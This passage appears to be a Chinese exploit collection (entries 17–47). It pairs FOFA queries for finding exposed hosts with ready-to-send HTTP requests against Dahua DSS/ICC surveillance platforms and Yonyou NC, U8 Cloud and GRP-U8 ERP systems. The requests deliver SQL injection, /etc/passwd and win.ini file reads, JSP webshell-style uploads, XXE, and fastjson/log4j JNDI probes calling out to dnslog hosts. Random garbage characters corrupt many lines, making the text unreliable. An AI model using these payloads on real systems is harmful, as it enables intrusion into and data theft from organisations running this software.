2 G: E- e- e2 d' a# u$ V: XAccept-Language: en
Accept-Encoding: gzip
1 n: o, c3 C/ i! c

0 V- n' b8 }) B2 o: ?5 A+ m17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
3 \2 v% X! V8 r9 \POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
3 q! j" ^. H( F$ q2 X. `0 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 J8 _- h1 F/ s) g$ b& JConnection: close
" G' N5 V& m& K( z3 L7 R( qContent-Length: 345
: ~- [4 R! v7 Q' QAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
' @  Q" @9 B5 C' v0 U/ d& N* Y       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
9 X2 a. z0 E6 J    </ns1:deleteBulletin>
5 S8 b! N& n5 O5 Y( Q8 a2 k+ Y  </s11:Body>
! Z) y, F6 o! l$ h! |</s11:Envelope>
. u2 X- p7 ]  Q) q3 Q) J. W" Y$ Q/ S
6 o3 W2 Q1 k! t3 g
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
* R1 R% _; X* Y6 E) m! {( g" A. qHost: your-ip
- }- c  l( ?4 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 e* d- I. T+ t0 bAccept-Encoding: gzip, deflate
- h& k( i5 O8 {0 v  c. `Accept: */*
Connection: keep-alive
( F2 ]$ C$ N+ {1 t( w


3 ]$ C! A* |2 Q7 L5 ]19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
2 N  N4 \6 J, aFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
; U3 |( \3 U9 i' Y/ yHost:
2 h4 ^6 D- e; vUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

7 m2 _3 L5 }5 z0 y" q6 I! A, P
' f9 `" n8 N" l! N; {* U9 p20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
$ v  p" L  _0 T6 [GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
& K/ n& [0 r. z4 _Host: x.x.x.x
9 o# Q1 c, W4 F  B" XUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
. ?7 e3 K: Y7 i! DAccept: */*
Accept-Language: en
$ L) e) c- K4 v& t" b: _% |1 f$ q+ {& RAccept-Encoding: gzip

0 B, D" g8 k# r* T0 v3 N
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
8 {5 Y' O0 y8 [) c+ n" ?POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
& [& a! Q. ]9 l. Z! PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 W* t, C% t, N. CContent-Length: 161
Accept-Encoding: gzip
1 Y3 Q1 U) {! \3 q, |  h9 @% iConnection: close
: }  e6 G( f! L5 i: S  GContent-Type: application/json;charset=utf-8
2 @0 j( N) ^  r6 u
/ c) R- V5 D0 [' _6 \* ]9 j{
( E7 F- S+ ]4 y# D"a":{
0 N4 Y' F8 Q3 |8 ?0 ?' j   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
1 K3 H8 |1 f1 ^" r* u}
" o4 t- n8 ]5 u( a) w  z4 z" ?) M5 W

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
) @' U2 r. Z/ Y9 E+ X) ?FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, ^# @( U- [! W, |Content-Type: application/json;charset=utf-8
5 p( a' t, a8 \, Y" `8 m
' Y/ D+ |) C& u, Z{
  Q) X$ y5 f+ B# ^6 }) {"loginName":"${jndi:ldap://dnslog}"
/ k6 ]0 D7 c; ]: ^) H* v. @}
# g7 @1 o! z* ~' G, l, s


+ |( c/ q, O/ |1 S* x3 F23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
7 q: N. \/ q  ^Host: your-ip
, L0 e+ a, l1 k, y; R, Q  m* c. M- p& tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
7 T; `8 f, R" B+ A4 o# E4 f5 yConnection: close

{
6 ~. R9 f# H; |6 L7 w* e( ~    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
0 }. M. l8 A  J1 _
% X/ [$ \5 O, D  g% Y. \' y  f9 Z
: X) |+ m' T* e4 t9 q3 C& n; t24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
7 b% p' R4 w( V- w. @' c* g: i, mPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
) n: d: Z! C; NContent-Length: 449
) [7 t) P% W; {6 {% ]" F% wAccept: */*
. M( B' m1 }  N1 UAccept-Encoding: gzip
$ [/ y% k: \2 zContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
1 S" T0 _+ d$ E4 |Content-Type: text/plain

1 `9 K( O- A5 s/ g# w) P: g1 A4 w1 e<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
) m8 P9 e! `# r, Q) ~-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
. R/ |! D& t6 sContent-Disposition: form-data; name="fname"

8 ~; B* W2 m* |; C+ S1 t  ~; _( p\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

2 {7 t6 s( i1 h+ p) M( S* {
+ ?3 p: Z8 g) q0 m" K. N25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
: t9 D  R6 {) AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
# P6 x* E8 c, S' R: u$ A+ q0 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
% b6 `9 K5 d" W" K, |3 ]Accept-Encoding: gzip, deflate
2 X, s5 z, ?2 H" |9 c! G, rAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
- L! Q5 D$ C, b; H* D8 ~' iContent-Type: application/x-www-form-urlencoded
' I- O( y5 M* D+ y; `4 [
type=1&dsname=ldap://dnslog


4 k) c% E+ b6 a8 O8 J8 F
26. 用友NC linkVoucher SQL注入
: q' q* S) u% tFOFA：app="用友-UFIDA-NC"
  r% E% ]7 g3 O2 C6 _6 `7 aGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; ]/ u7 M+ _+ q8 Y" sHost: your-ip
' d' {! D% P1 r5 P* eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- f  S9 n6 `5 c/ A- @" QContent-Type: application/x-www-form-urlencoded
, Z3 F5 v! l5 ^/ i6 K+ A# `5 \# JAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
6 m  B! @4 i* q2 F
2 Q* j' u- A$ v6 n, u8 e7 ?
( J; V. b8 h! C5 c* m: l& E27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
, x' Q& y( L8 p' z5 e6 HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, h& p& v% A; T2 x( R6 ^+ j  `: fAccept-Encoding: identity
  s' Q$ ~$ ?( ], e' oConnection: close
Content-Type: text/xml; charset=utf-8
; z# K$ ?( }% |  V* D
  M% L& f0 @4 h/ V
3 F- S: r  v4 K1 S) `28. 用友NC grouptemplet 任意文件上传
9 U) w+ T) l- ~9 JFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
5 t4 a. f1 l( _' v8 O8 R. THost: x.x.x.x
! M: m, H1 }/ N1 f+ S' ?0 {. a9 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
( v) @: B) u" l+ p/ A; iConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& f7 _6 w1 w- l6 _5 bContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


$ e/ N1 y4 @" Z& Q/uapim/static/pages/nc/head.jsp
( @' m& C# D9 `- g) G& s) n, q4 V
. L) O& @9 e/ _3 [29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 |' z/ Q: [9 }. R/ W1 X3 P2 DContent-Type: application/x-www-form-urlencoded
0 S% U2 ?' [. xAccept-Encoding: gzip, deflate
Accept: */*
$ d! H7 v2 u  D9 C& f) j  IConnection: keep-alive
; M1 ]' d7 a2 J
- o2 Q7 n+ G" L
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
; T: l( J, i; p* ]6 ^- e& E2 vPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ K. K/ o! }2 i! s6 u0 G$ ~3 j9 LConnection: close
0 k9 a* x, a; }7 L" U; s
% _. r  R, K7 v) v------WebKitFormBoundaryH970hbttBhoCyj9V
4 r; L1 I8 I+ a2 QContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
; A+ ^! M4 m# O. f5 q2 D

31. 用友NC runStateServlet SQL注入
. |4 S, G0 i% j5 q. q  C2 w; Wversion<=6.5
+ e' P# C) {; c- a5 U% dFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
3 U+ ?" }! t& h4 y2 p$ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
" L' J+ N* Z5 {3 i: D% ?4 M
$ Q8 s! t" q8 L' ~6 u# w6 C+ s
- n+ }. x0 c, n, {32. 用友NC complainbilldetail SQL注入
3 z/ P1 X$ P- w: e& oversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: h/ G0 [/ T3 }2 qContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) c( g* [; Y2 s. ~- s4 KAccept: */*
Connection: keep-alive
! l+ ^% V# e5 L: s4 f' V, E
7 A+ q, V+ ~+ X. A
/ W, [) k( z8 h. M* a" p/ J7 f33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ }1 Q# U- v6 j- x7 \. P: WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
2 i. ]0 }. l* H; n5 `" j. ]) R' hConnection: keep-alive


& a- A) J# r2 ]" L' w34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
0 S; h7 E9 L/ K! IGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 D+ S, b) X  c4 H3 s" z, q! M1 ~2 v4 k. uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
: u8 L0 a4 y: O" H: F" ^$ CAccept: */*
Connection: keep-alive

, E# o. c0 y  K5 D& T4 T2 e9 a- v
# M) d& f8 R$ n  V' [+ h35. 用友NC-Cloud importhttpscer任意文件上传
2 h0 F8 @( x) o- k" wFOFA：app="用友-NC-Cloud"
2 x& X. B  k/ TPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
6 S# r% g5 S! M' R1 M, U+ cConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
* k0 e1 j" P: u- ]  r2 W" V0 ?Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
% T7 x  S) c1 c% P4 e0 ]5 B8 WContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
5 ^/ g4 U0 i5 @4 d
<%out.println(1111*1111);%>
) C8 x! @7 H1 q7 t3 P) s% {--fd28cb44e829ed1c197ec3bc71748df0--


- E2 t1 s7 A8 L+ ~/ v# ~! E36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
; T3 F$ y# [% s. M, L5 h: D$ @POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
# m% _$ k% p; H" a1 q9 y+ T/ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 y5 d. w3 i3 }- L6 MConnection: close
Content-Type: application/x-www-form-urlencoded
& o; L0 x$ g: \' Q. P  p  pUpgrade-Insecure-Requests: 1

  [  r+ P8 o, M1 |msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
& Z' y+ |4 A" S: J- d5 @
/ e# L: z( k: V
9 V. g5 C3 E9 s5 _/ T5 o37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
7 V; s$ f9 a+ aPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
' Z! U# @7 b  i0 `. D" rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 |- Z% T* r  \3 L( qConnection: close
Content-Type: text/xml;charset=UTF-8
* _. a0 g* m; aSOAPAction: urn:getResult
# u% ~. ?0 [9 Q8 I. fUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
; G) F% m) Q6 X) O1 ?# Z<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
2 `, c, J- V1 K<xxx/>]]></iup:string>
& T1 z8 `% B" i+ W  D( J8 L6 ?</iup:getResult>
</soapenv:Body>
/ \) ~' R) H+ K5 Z</soapenv:Envelope>



7 r" ~& N% R. J# y38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
, n8 X* f; h* W" ^; s- B2 Q2 L+ ^POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
/ i; u+ D' D) h# D, k! v. sHost: 192.168.40.131:8088
8 ^. I4 c# G" @) k! d7 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
1 U* A4 `4 d) x: CContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
" M0 o( b# U5 h8 pAccept-Encoding: gzip, deflate
/ Z- I9 {  \& w  C* hAccept-Language: zh-CN,zh;q=0.9
; i' f$ t8 F% u0 lConnection: close
Content-Type: application/x-www-form-urlencoded

3 M; y% O; L# z0 I0 i  ?: r( B__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
6 i2 I6 |& Z* J4 F6 {
8 m' U# D& S# w- o/ i3 @# |2 n
  a. M+ a3 y  ?( ^& |8 D# ?( b* @39. 用友U8 Cloud RegisterServlet SQL注入
. y' N& ]$ k, f# `( g7 a% i5 b% EFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
3 G& L- {( t( m7 h2 {% y* Z5 G- {Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
1 B, s; }$ D. D$ k0 ?9 {Accept: */*
Accept-Language: en
1 E, P* q4 r) \+ j& g4 @Content-Type: application/x-www-form-urlencoded
: b& _3 E' R8 Q% \; XX-Forwarded-For: 127.0.0.1
0 r! k( a! L! Q/ j" V( Z4 KAccept-Encoding: gzip
4 n$ O2 H# S' x4 N' m0 s  p
& N; m9 m/ E  t3 ?usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
: ~0 u% L" ^$ h/ T, y) eFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
- Q' O& X/ O9 K4 S' B, B' {6 g  o  A
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
; _: A8 a; i% M

4 E5 @7 r6 [5 y! \4 N/ c% p) e41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
, g2 Z4 f1 T) \! N& O9 qFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
4 S0 }5 O" v$ ~# x9 vHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! J6 q! ]! w7 aContent-Type: application/json
$ y  g  ^1 ]! Q8 g- @' l7 PAccept-Encoding: gzip
8 Z1 s# Y* r$ F/ {6 J% k4 mConnection: close
+ {) I; b( Y1 \& \6 H

2 C+ [/ C$ d7 x42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
2 p: J  O/ Y3 c4 rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
2 Q+ {& P8 x8 O
PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
+ J- E  _& c$ X" t0 g1 V5 c0 @  o$ B
! B; }+ i1 ]- N3 Q43. 用友GRP-U8 userInfoWeb SQL注入致RCE
4 q3 R* b" t2 c+ {9 fFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
& @  o1 X, ~1 ~$ iHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 P6 O2 h9 A2 U4 {, VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 n7 F" p& H; AAccept-Encoding: gzip, deflate
; ?! n3 Z* v1 X2 Y* YAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
8 ?- Y0 D2 p$ l3 p5 n( J4 z3 c+ \
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
/ R6 T! t& p/ }* K6 ^   <soapenv:Header/>
   <soapenv:Body>
& I) X, E6 o6 k) g" ]7 d      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  p: I  t1 \2 Q0 a         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
3 i# B9 }- g. c/ J
2 i4 o: T# b& p& n: {* L
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
# L# F# }$ E: y# OFOFA:app="用友-GRP-U8"
; D3 `) B* e- y2 E2 J' e* LGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
3 d' o& E$ B6 n- a. y) |' \. JHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 o4 ~5 z% x% Z) r, J6 UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 ]3 ~! c! H) d, p' K$ y  V: f) wConnection: close


45. 用友GRP-U8 ufgovbank XXE
8 i# q& A3 \- Q% Q: ~- g% eFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
+ U- Z4 C4 H) q( P/ r- bConnection: close
Content-Length: 161
/ T' p" l  h: ^& y" X6 i1 x6 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
' ], q& I  m9 Z4 |5 {) U: Z4 _
# [4 t$ W3 Z- X0 q! B1 ZreqData=<?xml version="1.0"?>
' T) m5 ?$ x: j% C<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
- [+ \# W( @! o) j6 F) L! y% nGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
$ p" @8 n/ ?; M. o; _) Z% W1 S7 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 b$ x3 G& m% A2 w$ T2 i# U0 nAccept-Encoding: gzip, deflate
# ?' {# U/ \. _  |& ~5 f9 O. eAccept-Language: zh-CN,zh;q=0.9
/ V  M1 b5 x; q$ X: mConnection: close
) i, w2 `+ L8 n8 n9 y/ r

4 W0 G8 X  L3 v; d$ T7 D$ s47. 用友GRP A++Cloud 政府财务云 任意文件读取
8 U* Q' W$ d, R) d. vFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
  i; |0 ?( q8 r% T3 {Cache-Control: max-age=0
, A9 b: g6 [$ ^Upgrade-Insecure-Requests: 1
6 G: O7 a  L/ m' sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
